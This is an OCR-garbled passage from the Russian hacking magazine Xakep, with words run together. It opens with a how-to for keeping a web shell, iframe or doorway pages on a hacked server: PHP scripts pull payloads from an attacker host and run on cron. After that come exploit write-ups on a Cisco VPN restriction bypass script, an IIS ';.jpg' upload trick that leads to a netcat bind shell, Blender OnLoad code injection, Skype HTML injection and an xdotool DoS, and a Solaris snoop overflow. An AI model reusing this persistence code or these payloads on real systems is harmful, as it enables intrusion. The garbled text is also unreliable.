книги хакеры / журнал хакер / 134_Optimized

¹ 6 ЗАДАЧА: НАСТРОИТЬКРОНДЛЯПОСТО-

ЯННОГОНАЛИЧИЯФАЙЛАНАСЕРВЕРЕ

РЕШЕНИЕ:

Допустим, тывзломалсайтиоченьхочешь, чтобытамосталсятвойшелл/фрейм/ дор. Рассмотримвсеситуацииподробно.

1) Шелл.

Создадимфайлик(назовемегоcronshell.php) ссодержимым:

<?php

$file = /home/user/www/shell.php; if(file_exists($file) == false) {

copy('http://www.h4x0r.com/shell.txt', $file);

}

?>

Кодбудетпроверять, существуетлифайлнасервереи, еслиегонет, скопирует ствоегосайта. Кстати, убедись, чтодирективаallow_url_fopen установленав значениеOn, иначеиспользуйфункциюsystem() икомандуwget.

2) Фрейм.

Фрейммыбудемразмещатьвфайлеindex.php, хотятыможешьсделатьэтослюбымдругимфайлом. Дляначаласкопируйфайлindex.php сфреймомвнутрина удаленныйсервер; этобудетнашбэкап, наслучайеслиадминзаметитфрейм.

Далеенапишемскриптcronframe.php:

<?php

$frame = 'здесь код твоего фрейма'; $frame = preg_quote($file,'/');

$file = file_get_contents('/home/user/www/index.php'); preg_match($frame,$result,$file); // проверяем файл на нали- чие фрейма

if ($result == '') { // если фрейма нет

system('rm /home/user/www/index.php’); // удаляем файл copy('http://www.h4x0r.com/index.txt', '/home/user/www/

index.php'); // и копируем на его место файл с фреймом

}

?>

3) Доры.

<?php

$testfile = '/home/user/www/dors/sitemap.html'; //файл для проверки наличия доров

if(file_exists($testfile) == false) { // проверяем на наличие файла и, если нет...

system('rm -rf /home/user/www/dors;mkdir /home/user/www/ dors');

copy('http://www.h4x0r.com/dors.tgz', '/home/user/www/dors/'); // копируем архив с дорами в папку

system('tar xzf /home/user/www/dors/dors.tgz'); // и разархивируем его

}

?>

Атеперьотом, какзаставитькронобрабатыватьнашифайлы. Создадимвпапке

/home/user/ временныйфайлtest:

SHELL=/bin/bash

MAILTO=user

0-59 * * * * /home/user/cron.php

Разберемего: перваястрокауказывает, какуюшелл-оболочкунужноиспользо- вать, вторая, какомуюзеруотправлятьотчетоработекронаи, наконец, третья указывает, чтофайл/home/user/cron.php долженвыполнятьсякаждуюминуту. Теперьзанесемзаписьвтаблицу, дляэтоговыполнимкоманду:

crontab /home/user/test

Готово! Вкаталоге/var/spool/cron будетсозданфайл«user» примерностаким содержимым:

#DO NOT EDIT THIS FILE — edit the master and reinstall.

#(/home/user/test installed on Mon Mar 29 02:31:34 2004)

#(Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)

SHELL=/bin/bash

MAILTO=user

0-59 * * * * /home/user/cron.php

—ифайл/home/user/cron.php будетзапускатьсякаждуюминуту.

ВЗЛОМ

¹ 7 ЗАДАЧА: СДЕЛАТЬВИЗУАЛИЗАЦИЮ

ТОПОЛОГИИИЗЗАХВАЧЕННОГОСЕТЕВОГОТРАФИКА

РЕШЕНИЕ:

ПодобныевещиумеетделатьNMAP, правда, послепередачиемуегожеотчета либоприпроведениисканирования. Движоктамещесыроват, приобилии хостовжутковиснетиделаетработуневозможной. Поэтомупредлагаютебе немногодругоерешение.

1. Зададимкакой-нибудьпараметрдлясборатрафикавфайл.pcap:

tcpdump -w test.pcap -i eth1 tcp port 6881 or udp \( 33210 or 33220 \)

2. Сохраненныйтрафикскормимспециальнойпрограмме— rumint (rumint.org), котораявдващелчкавыдасттебетопологическуюкартувнесколькихвариантах просмотра.

ВЗЛОМ

АНДРЕЙ КОМАРОВ KOMAROV@ITDEFENCE.RU ИТЦ «АНАЛИТИКА» / ITDEFENCE.RU

РАЗЪЯСНЕНИЕПРИМЕНЕНИЯCLIENTLESS VPN SSL

01ОБХОДОГРАНИЧЕНИЙВCISCO VPN SSL

BRIEF CISCO VPN SSL — модулькCISCO ASA ицелойлинейкепродуктовCISCO, которыйпредназначендлярасширениясетевогофункционаладевайса. ОнпозволяеторганизоватьраспределеннуюVPN-сеть, увеличивсетевыересурсыинфраструктурызасчетразнесенныхчерез интернетклиентов.

EXPLOIT CISCO VPN Clientless — ограничивающийклиентаопционал, которыйразрешаетилизапрещаетпользователюVPN обращатьсяк ресурсамвиртуальнойчастнойсети. Реализациямеханизмаограниченийвоистинувыполненаоченькриво. CISCO шифруетресурсвужасную строку, затемподставляеткнейспециальноеслово, конструируетлинк итолькотогдадоверенныйпользователь, открываяее, получаетдоступ кресурсу.

Каквыяснилось, любойжелающийможетспокойнообратитьсяклюбому интернет/Intranet-узлу, обходяограничениясистемы. Предположим, желанныйресурс— http://intranet. Чтобыобратитьсякнему, следует произвестиследующиедействия:

1)ПреобразуемстрокукROT13 — uggc://vagenarg.

2)СимволыASCII-последовательностиконвертимвHEX — 756767633a2f2f766167656e617267.

3)Открываемвбраузерелинк— https://[CISCOVPNSSL]/+CSCO+0075676 7633a2f2f766167656e617267++.

Все! Дляупрощенияпроцессазлодеинаписалискрипт:

#!/bin/bash

echo -n "write URL:" read a

b=`echo -n $a | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m] [N-Z][A-M]' | od

-tx1 | cut -c8- | sed 's/ //g'` | paste -s -d ''; echo -n "URL "

НАСТРОЙКИОГРАНИЧЕНИЙCLIENTLESS ВCISCO VPN-МОДУЛЕ

echo -n "https://[CISCOVPNSSL]/+CSCO+00";; echo -n $b; echo -n "++";

echo "";

SOLUTION АктивируйдополнительныетипыACL-листов(webtype/ filter), атакжеознакомьсясдокументом«Cisco Understanding Features NotSupported in Clientless SSL VPN».

TARGETS Cisco ASA <= 8.x.

02ОБХОДОГРАНИЧЕНИЙБЕЗОПАСНОСТИ ВMICROSOFT IIS

BRIEF УязвимостьнайденавизвестнейшемWEB-сервереотMicrosoft. ПутемзагрузкиспециальносформированныхASP-файловнаузел существуетвозможностьвыполнитьпроизвольныйкод, пробекдорить системуидалее— делатьпрактически, чтоугодно. Вызваноэтонедостаточнымиограничениямиприпроверкерасширенийфайлов.

EXPLOIT IIS нормальновоспринимаетименафайловсрасширениями:

.asp;.gif, .asp;.jpg, .asp;.exe. Припроверкесерверобращаетвнимание тольконапервоерасширение, ачтостоитза«;» — емубезразницы. Методикасостоитвтом, что, используятакоеобстоятельство, мыпредварительноготовимзлонамеренныйфайл, загружаемегонасервер (идеально, еслиэтобудеткартинка), затемобращаемсячерезWEB для

КОДSHELLCODE'A ПРЕОБРАЗОВАНВПОСЛЕДОВАТЕЛЬНОСТЬСИМВОЛОВ, ПРЕДСТАВЛЕННЫХВВИДЕОПЕРАТОРАВЗЯТИЯ СИМВОЛАПОЕГОНОМЕРУВТАБЛИЦЕASCII

запускашелл-коданаисполнение. РазработчикамиизвестногодистрибутиваBacktrack былосозданосредство, работающееименно потакойсхеме(backtrack.it/~emgent/exploits/ IIS-asp.py):

СПОМОЩЬЮXDOTOOL МОЖНОДЕЛАТЬСМЫШЬЮИКЛАВИАТУРОЙПРАКТИЧЕСКИВСЕ, ЧТО УГОДНО. НАПРИМЕР, ПОТАЙМЕРУИСПОЛНИТЬСНЯТИЕСКРИНШОТАСОПРЕДЕЛЕННОЙЗОНЫ ЭКРАНА

./IIS-asp.py <image.jpg> <номер shellcode>

Опционально, подномеромшелл-кодаподразумевается0 — shell_bind_ tcp, 1 — meterpreter_bind_tcp, 2 — vncinject_bind_tcp, собственно, одни изсамыхизвестныхpayloads изпакетаMetasploit.

root@andrej:/tmp# ./IIS-asp.py image.jpg 0

Навыходеполучаемimage.asp;.jpg, которуютребуетсяпрогрузитьна WEB-сервер. Конечно, такаявозможностьбываетдалеконевсегда. Тем неменее, еслионаесть, черезформуобзоравыбираемнашфайл, льем насервер(например, впапку«images», «avatars», «uploads»). После чегообращаемсякней:

http://127.0.0.1/images/image.asp;.jpg

root@andrej:/tmp# nc -vv 10.12.6.6 31337

#Zerbion [10.12.6.6] 31337 (?) open

#Microsoft Windows [Version 5.2.3790]

#(C) Copyright 1985-2003 Microsoft Corp.

#c:\windows\system32\inetsrv>whoami

> nt authority\network service

Порядок!

SOLUTION Тщательнеефильтроватьпрогружаемоенасерверсодержимоенаприкладномуровне.

TARGETS Microsoft Internet Information Services (IIS) 5.x/6.x.

03ИНЖЕКТКОДАВФАЙЛЫПРОЕКТОВ

BLENDER

BRIEF Blender (blender.org) — этоизвестныйпродуктдля3D-разра- ботчиковианиматоров, которыйпозволяетиспользоватьсредства моделирования, рендеринга, постобработкивидеоимногоедругое! На самомделеполноценнопользоватьсяимумеюттолькопрофессионалы, потомучтооннепроствиспользовании. Попалонврубрикупотойпростойпричине, чтосуществуетвозможностьиспользоватьеговыходные файлы(формат.blend) вкачествевредоносных.

EXPLOIT ОткройтекстовыйредакторкодаBlender (Text Editor), правый клик, «New». Впоявившемсяполе, пишемсвойкоднаPython, например:

import os os.system("calc.exe")

Вполе«Text Name» (TX:Text.001) заменяемзначениенасвоесуказаниемнашегоскриптаTX:myscript. Затемпереходимнапанель«Buttons Window», извыпадающейпанели(panel) выбираем«Script», приэтом проверив, чтографа«enable script links» активна. Жмемна«New», выбираемнамисозданноескриптовоеописание(myscript). Извыпадающегоменюсобытийвыбери«OnLoad». Теперьсохраняемфайлв выходной, этоделаетсяиз«User Preferences ÆFile ÆSave».

TARGETS Blender 2.49b, Blender 2.40, Blender 2.35a, Blender 2.34.

SOLUTION Производительбылуведомленоподобномспособевнедрениязлонамеренногокодавсвоипродукты, ноникакойответнойреакции непоследовало. Изпрактическихсоветовможнодатьспособизучения

.blend-файла— парситьпроектнапредметSDNA Scriptlink (http://www.

ВЗЛОМ

КТОБЫЗНАЛ, ЧТОВСТОЛЬБЕЗОБИДНЫЙПРОЕКТМОЖНО ВНЕДРИТЬЧТО-ТОВРЕДОНОС- НОЕ!

atmind.nl/blender/blender-sdna.html#struct:ScriptLink), кудапомещается самкод.

04УЯЗВИМОСТИВLINUX-ВЕРСИИSKYPE

BRIEF Сразупосленовогогодадвоеитальянскихисследователей обнаружилистранныйкосяквSkype (идаженесколько). Скорее, этиуязвимостиябыпричислилнекклассамконкретныхбрешейбезопасности, акошибкампроектирования(design error). КасаютсяонитолькоLinuxверсии, GUI-интерфейскоторойнаписансиспользованиемсредств библиотекиQT (qt.nokia.com/products).

EXPLOIT

1. Реализацияpseudo-XSS. Многиеполяпрограммывоспринимаюттеги HTML из-затого, чтоонинеурезаютсяпрограммно. Возможно, разработчикамиподразумевалось, чтопользовательможетсделатьсвой никжирнымилидобавитьконтактвдругомцветеспомощьюсредств разметки, но, помоемумнению— простонеуследили. Попробуйиспользоватьтэг«"><h1><"» впоискеконтактов, обзоредлявыборафайловдля отправки, поляхпрофиля. Увидел? Конечно, эксплуатироватьтакое— достаточнотрудно, но, еслипроявитьсмекалку, можнодобитьсяинтересного. Например, поле«Домашняястраница» впрофиледоступнодля кликастороннимпользователям. Этозначит, еслимысумеемзасунуть тудареализациюXSS, товполневероятно, что, когдаинтересующийся нашейдомашнейстраницейюзеркликнетпоней, просматриваянаш профиль, егождетбеда, хотябынауровне«phishing»-атаки:

хakep.ru">Ошибка! Недопустимый объект гиперссылки.>

Притакомраскладевпрофилевкачествестраницыбудетвиднеться google.it, авотпослекликапользовательугодитнанашсайтжурнала! Естественно, вреалияхместо«Хакер.ру» займетресурссвредоносным кодом, накоторомвтомчислеможетрасполагатьсясценарийпроведе- нияXSS-атаки.

2. Denial Of Service — загрузкаЦПна100%. Дляизученияатакитребу-

етсяустановкаxdotool (semicomplete.com/projects/xdotool) — средства имитациивиртуальныхмышииклавиатуры. Частоегоиспользуютдля

автоматизацииручныхзадачвLinux/FreeBSD, например, повторяющихсядействийврамкахбраузера, какой-топрограммыитакдалее. Впрочем, дляWindows такихсредствнавалом(Automize).

СначалакурсормышитребуетсярукамиустановитьвполевводасообщенияSkype, затемсредствамиxdotool мысформируембольшуюстроку, состоящуюиззнаковпробела, иотправимее:

sleep 5 && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool key Return

sleep 5 && xdotool type 's/../' && xdotool type "`perl -e "print 'S 'x44801"`" && xdotool type '/' && xdotool key Return

Соответственно, 0x44801 — пробельныйзаменительвхексе. Вследствиеэтогопроизойдетотказвобслуживаниипрограммыиз-за недостаточнойпроверкивходныхданных. Принекоторыхобстоятельствахбылзамечен«вылет» собеседникаизпрограммы. Болеебезобидныепримерыпереполненийбылиобнаруженыприорганизации звонковилипосылкеSMS наномера, превышающие89601-символ.

TARGETS

Версии<=2.1 Beta.

SOLUTION

Внастоящеевремяисправленийуязвимостинеимеется.

05МНОЖЕСТВЕННЫЕПЕРЕПОЛНЕНИЯ БУФЕРАВSUN SOLARIS (SNOOP)

BRIEF Вавгустепрошлогогодабылиобнаруженыкритическиеуяз-

вимостивутилитеsnoop (docs.sun.com/app/docs/doc/819-2240/snoop- 1m?a=view) ОСSUN Solaris. Snoop представляетсобойсредствосетевого мониторингаианализа, некийаналогtcpdump/ethereal. Нетрудно догадаться, чтоуязвимости, эксплуатируемыевсниферах, какправило,

связаныснеправильнойобработкойанализируемыхпакетовстека разныхпротоколов. НапримереWireshark:

CVE-2006-3627 — отказ в обслуживании и выполнение произвольного кода при анализе пакетов GSM BSSMAP CVE-2009-3243 — отказ в обслуживании и выполнение произвольного кода при анализе пакетов TLS

CVE-2009-3550 — отказ в обслуживании и выполнение произвольного кода при анализе DCERPC-пакетов

CVE-2009-3829 — целочисленное переполнение в wiretap/ erf.c при анализе беспроводного стека протоколов

Поверь, списокможнопродолжатьещедолго. Из-заобилияиразнооб- разияпротоколовиихструктурразработчикииногдаздоровохалтурят, забывая, чтомогутдопуститьогромныебрешивбезопасностипритаком подходе. НаэтотразуязвимостьсвязанасобработкойSMB-пакетов

(src/cmd/cmd-inet/usr.sbin/snoop/snoop_smb.c). Взглянемнауязвимый фрагменткода:

06 static void

07 interpret_negprot(int flags, uchar_t *data, int len, char *xtra)

08 {

09int length;

10int bytecount;

11char dialect[256];

12...

13protodata = (uchar_t *)data +

sizeof (struct smb);

16if (smbdata->flags & SERVER_RESPONSE) {

17...

18} else {

19/*

20* request packet:

21* short bytecount;

22* struct { char fmt; char name[]; } dialects

23*/

24bytecount = get2(protodata);

25protodata += 2;

26if (flags & F_SUM) {

27while (bytecount > 1) {

28length = sprintf(dialect,

(char *)protodata+1);

29protodata += (length+2);

30bytecount -= (length+2);

31}

Обратив внимание на строку 16, можно понять, что, если SMBпакет не является ответом сервера, то ветвление перейдет на «else» условие и механизм по парсингу пакета (get2()). Продолжается считывание и заполнение структуры данных пакета (27), до метки F_SUM. После чего выполняется копирование части элементов управляемого пользователем пакета в буфер (dialect) с помощью функции sprintf. При этом сам буфер ограничен всего 256 байтами, а никаких проверок на него не производится.

ВЗЛОМ